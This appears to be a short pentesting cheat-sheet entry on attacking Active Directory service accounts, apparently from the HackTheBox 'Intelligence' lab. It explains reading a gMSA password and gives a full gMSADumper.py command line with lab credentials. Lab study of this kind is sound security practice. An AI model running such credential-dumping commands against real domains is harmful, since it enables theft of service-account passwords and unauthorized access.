Service Account Exploits

• Obvious others covered elsewhere, like roasting

Read gMSApassword

• Sometimes your user may control service accounts and can read the current password

• Use gMSAdumper.py to read the current pass

python gMSADumper.py -u ted.graves -p Mr.Teddy -d intelligence.htb